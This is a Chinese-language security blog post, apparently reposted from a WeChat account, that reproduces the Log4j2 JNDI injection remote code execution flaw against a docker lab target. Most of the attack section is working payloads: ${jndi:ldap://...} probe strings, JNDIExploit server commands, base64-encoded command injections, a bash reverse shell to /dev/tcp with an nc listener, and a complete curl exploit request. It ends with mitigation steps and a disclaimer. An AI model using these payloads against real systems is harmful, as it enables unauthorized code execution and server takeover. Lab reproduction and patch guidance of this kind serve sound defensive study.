Apache Log4j2 RCE远程代码执行漏洞复现

admin 2022年6月24日01:59:45评论94 views字数 3208阅读10分41秒阅读模式
Apache Log4j2 RCE远程代码执行漏洞复现
点击上方“蓝字”,发现更多精彩。

0x00 漏洞介绍

2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2 远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。

Apache Log4j2是一个基于Java的日志记录组件,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息,得益于其突出于其他日志的优势:异步日志实现。是最受欢迎的于开发时的日志组件。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。


0x01 漏洞原理

1、Log4j2日志

Apache Log4j2 RCE远程代码执行漏洞复现


2、log4j2 提供了 lookups

不过log4j2并不满足上面的功能,他们提供了一种叫lookups的功能log4j2的lookups说明

hello ${java:os}和hello ${java:vm},而是当前服务的操作系统信息和虚拟机信息。其实如果仅仅是这样,那也算不上什么漏洞,只能说功能强大而已。

Apache Log4j2 RCE远程代码执行漏洞复现


Apache Log4j2 RCE远程代码执行漏洞复现


3、还支持JNDI Lookup、RMI远程调用

可以通过JNDI引入目录资源,进行加载class执行代码,也可以通过RMI远程调用资源。


0x02 漏洞影响版本

影响版本:Apache Log4j2.x <= 2.14.1

已知受影响:srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid、Apache Struts2...


0x03 搭建漏洞环境

目标机:Centos 7

IP:192.168.110.133

攻击机:Kali Linux

IP:192.168.110.141

下载docker漏洞镜像文件

sudo docker pull vulfocus/log4j2-rce-2021-12-09:latestsudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest
进入shell命令sudo docker exec -it 5500411a2fac(容器id) /bin/bash

Apache Log4j2 RCE远程代码执行漏洞复现


0x04 漏洞复现

4.1 Payload配合DNSLog检测

先去DNSLog生成域名:zigsvm.dnslog.cn

Apache Log4j2 RCE远程代码执行漏洞复现


4.1.1 HackBar构建POC

Apache Log4j2 RCE远程代码执行漏洞复现


目标:http://192.168.110.133:8080/hello

POST Payload:

payload=${jndi:ldap://zigsvm.dnslog.cn./exp}

Apache Log4j2 RCE远程代码执行漏洞复现


4.2 JNDIEXPloit工具Getshell

4.2.1 基础环境

Centos 7:192.168.110.133

Kali Linux:192.168.110.141

wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zipunzip JNDIExploit.v1.2.zipjava -jar JNDIExploit-1.2-SNAPSHOT.jar -u


4.2.2 攻击机安装JAVA环境

(这里用的Centos7目标机,这里是在Kali Linux 安装的)

yum install -y java-1.8*
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

Apache Log4j2 RCE远程代码执行漏洞复现

ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]


4.2.3 配置监听

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.110.141 -p 9090

Apache Log4j2 RCE远程代码执行漏洞复现


指定监听9090端口

开始监听LDAP Server服务

再加上一个HTTP Server服务


4.2.4 命令执行输出文件

测试Payload语句

Apache Log4j2 RCE远程代码执行漏洞复现


修整下payload,特殊字符需要通过URL编码,尤其像+号需要通过双重URL编码,不然就会被当作连接符。

初始payload:ZWNobyAiMTIzOTg3IiA+IC90bXAvdGVzdC50eHQ=
url编码后payload:ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D


构造Payload

${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D}


抓包获取请求包,提交一个JS POST请求数据包,然后用BurpSuite抓取

Apache Log4j2 RCE远程代码执行漏洞复现


Apache Log4j2 RCE远程代码执行漏洞复现


发送到Repeater模块去测试payload:

Apache Log4j2 RCE远程代码执行漏洞复现


请求成功200,看看监听

Apache Log4j2 RCE远程代码执行漏洞复现


payload正常。

接下来去docker容器看看

Apache Log4j2 RCE远程代码执行漏洞复现


Apache Log4j2 RCE远程代码执行漏洞复现


没有文件,直接反弹Shell看看。


4.2.5 反弹Shell

Payload:

bash -i >& /dev/tcp/192.168.110.141/9797 0>&1
bash64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx
url编码:YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx


Kali Linux设置好监听:

nc -lvvp 9797

Apache Log4j2 RCE远程代码执行漏洞复现


抓包重新发送看看:

Apache Log4j2 RCE远程代码执行漏洞复现


Shell弹过来了:

Apache Log4j2 RCE远程代码执行漏洞复现


4.2.6 Curl命令请求

curl -X POST --data "payload=${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx}" http://192.168.110.133:8080/hello

Apache Log4j2 RCE远程代码执行漏洞复现


0x05 BurpSuite被动扫描插件 Log4j2Scan

下载地址:

https://github.com/pochubs/Log4j2Scan-1.git

自己编译下:mvn package

加入到java插件中

Apache Log4j2 RCE远程代码执行漏洞复现


配置好一些API,然后看Dashoard这个模块即可

Apache Log4j2 RCE远程代码执行漏洞复现


0x06 修复建议

  1. 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

  2. 升级已知受影响的应用及组件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid

  3. jvm参数 -Dlog4j2.formatMsgNoLookups=true

  4. log4j2.formatMsgNoLookups=True

  5. 系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

  6. 禁止使用log4j的服务器外连出网

  7. 使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因为高版本jdk默认无法利用jndi注入,可在一定程度上限制JNDI等漏洞利用方式



内容仅供学习及自我检测修复,根据此文造成的任何后果均由用户个人承担。



我知道你在看
Apache Log4j2 RCE远程代码执行漏洞复现


原文始发于微信公众号(米瑞尔信息安全):Apache Log4j2 RCE远程代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月24日01:59:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Log4j2 RCE远程代码执行漏洞复现http://cn-sec.com/archives/1138554.html

发表评论

匿名网友 填写信息